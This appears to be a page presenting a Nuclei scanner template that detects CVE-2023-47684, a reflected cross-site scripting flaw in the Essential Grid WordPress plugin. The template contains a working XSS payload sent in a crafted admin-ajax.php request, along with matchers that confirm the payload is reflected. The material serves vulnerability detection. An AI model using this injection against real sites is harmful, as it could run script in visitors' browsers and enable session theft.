Essential Grid <= 3.1.0 - Cross-Site Scripting

ID: CVE-2023-47684

Severity: medium

Author: 0xpugal

Tags: cve,cve2023,wordpress,wp,xss,wp-theme,essential-grid,themepunch

Description

Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in ThemePunch OHG Essential Grid plugin <= 3.1.0 versions.

YAML Source

id: CVE-2023-47684

info:
  name: Essential Grid <= 3.1.0 - Cross-Site Scripting
  author: 0xpugal
  severity: medium
  description: |
    Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in ThemePunch OHG Essential Grid plugin <= 3.1.0 versions.
  reference:
    - https://patchstack.com/database/vulnerability/essential-grid/wordpress-essential-grid-plugin-3-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47684
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-47684
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.17675
    cpe: cpe:2.3:a:themepunch:essential_grid:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: themepunch
    product: essential_grid
    framework: wordpress
    publicwww-query: "essential-grid-plugin"
  tags: cve,cve2023,wordpress,wp,xss,wp-theme,essential-grid,themepunch

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=Essential_Grid_Front_request_ajax&client_action=load_post_content&postid=1&settings={%22lbMax%22:%22\%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%22} HTTP/2
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "lightbox"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402202ea87c50a5cf0dcbaa9726e9b3292c6a9c7246fdd35c8a0e36ff47fbfb5ef14c022026a19d1b51ae042f36cc98826e2bbc82c2c0839f081d53f7e7ad18426e33d4cb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-47684.yaml"

View on Github